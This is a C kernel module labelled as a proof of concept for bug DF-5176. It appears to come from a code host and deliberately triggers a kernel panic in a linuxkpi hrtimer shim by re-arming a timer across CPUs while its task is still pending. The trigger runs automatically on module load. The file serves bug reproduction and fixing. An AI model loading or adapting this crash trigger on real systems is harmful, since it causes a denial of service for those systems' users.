DF-5176 / df5176.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 | /* * DF-5176 PoC — linuxkpi hrtimer shim: cross-CPU re-arm while the previous * expiry's task is still pending on another CPU's taskqueue_thread. * * The shim arms the DF systimer on the *calling* CPU * (hrtimer_start_range_ns -> systimer_init_oneshot, linux_hrtimer.c:115) * and __hrtimer_function enqueues the ONE shared timer->task on the * *firing* CPU's taskqueue_thread[mycpuid] (linux_hrtimer.c:37). * * Re-arming the timer from a different CPU while the previous fire's task * is still pending moves that shared task between per-CPU queues, which * subr_taskqueue.c:185-188 explicitly forbids ("DO NOT SHARE the task * between CPUs. TASKS ARE NOT LOCKED"). taskqueue_enqueue_locked() then * trips KKASSERT(queue == task->ta_queue) (subr_taskqueue.c:206) -> * kernel panic. * * Deterministic recipe (no race needed): * 1. taskqueue_block(taskqueue_thread[0]) - keep the task pending * 2. [cpu0] hrtimer_start(1ms) - fires, task pending on q0 * 3. [cpu1] hrtimer_start(2ms) - legal per Linux API; * old systimer already fired * 4. fire on cpu1 -> taskqueue_enqueue(q1, task) with ta_queue == q0 * -> KKASSERT panic */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/thread.h> #include <sys/globaldata.h> #include <sys/thread2.h> #include <sys/taskqueue.h> #include <linux/hrtimer.h> static struct hrtimer poc_timer; static volatile int cb_count; static volatile int phase; static volatile int done0, done1; #define WAIT_FOR(v) do { while (!(v)) tsleep(&v, 0, "df5176w", 1); } while (0) static enum hrtimer_restart poc_cb(struct hrtimer *t) { cb_count++; return HRTIMER_NORESTART; } static void thr0(void *arg) { hrtimer_start(&poc_timer, 1000000ULL, HRTIMER_MODE_REL); done0 = 1; lwkt_exit(); } static void thr1(void *arg) { hrtimer_start(&poc_timer, 2000000ULL, HRTIMER_MODE_REL); done1 = 1; lwkt_exit(); } static void run_df5176(void) { thread_t td; int attempt; memset(&poc_timer, 0, sizeof(poc_timer)); hrtimer_init(&poc_timer, CLOCK_MONOTONIC, HRTIMER_MODE_REL); poc_timer.function = poc_cb; /* keep cpu0's thread taskqueue from running the pending task */ taskqueue_block(taskqueue_thread[0]); for (attempt = 1; attempt <= 5; attempt++) { kprintf("[df5176] attempt %d: arming on cpu0 (1ms)\n", attempt); lwkt_create(thr0, NULL, &td, NULL, TDF_NOSTART, 0, "df5176a"); lwkt_schedule(td); WAIT_FOR(done0); /* let the systimer fire; the task gets enqueued on q0 and, * with the queue blocked, stays pending (ta_pending == 1) */ tsleep(&poc_timer, 0, "df5176a", hz / 20); kprintf("[df5176] task ta_pending=%u ta_queue %s q0\n", poc_timer.task.ta_pending, poc_timer.task.ta_queue == taskqueue_thread[0] ? "==" : "!="); if (poc_timer.task.ta_pending == 0) { kprintf("[df5176] task already ran, retrying\n"); continue; } /* Re-arm from cpu1: legal hrtimer API use (the timer is not * armed anymore - it fired - so this does NOT rely on * DF-2175's re-init-on-armed corruption). */ kprintf("[df5176] re-arming from cpu1 (2ms)\n"); lwkt_create(thr1, NULL, &td, NULL, TDF_NOSTART, 1, "df5176b"); lwkt_schedule(td); WAIT_FOR(done1); /* fire on cpu1 -> __hrtimer_function -> * taskqueue_enqueue(taskqueue_thread[1], &poc_timer.task) * with the task still pending on q0 -> KKASSERT panic */ tsleep(&poc_timer, 0, "df5176b", hz / 5); kprintf("[df5176] no panic this attempt (ta_pending=%u), " "retrying\n", poc_timer.task.ta_pending); } taskqueue_unblock(taskqueue_thread[0]); kprintf("[df5176] FAILED to trigger - no panic\n"); } static int df5176_load(struct module *m, int what, void *arg) { switch (what) { case MOD_LOAD: run_df5176(); return 0; default: return 0; } } static moduledata_t df5176_mod = { "df5176", df5176_load, NULL }; MODULE_DEPEND(df5176, drm, 1, 1, 1); DECLARE_MODULE(df5176, df5176_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |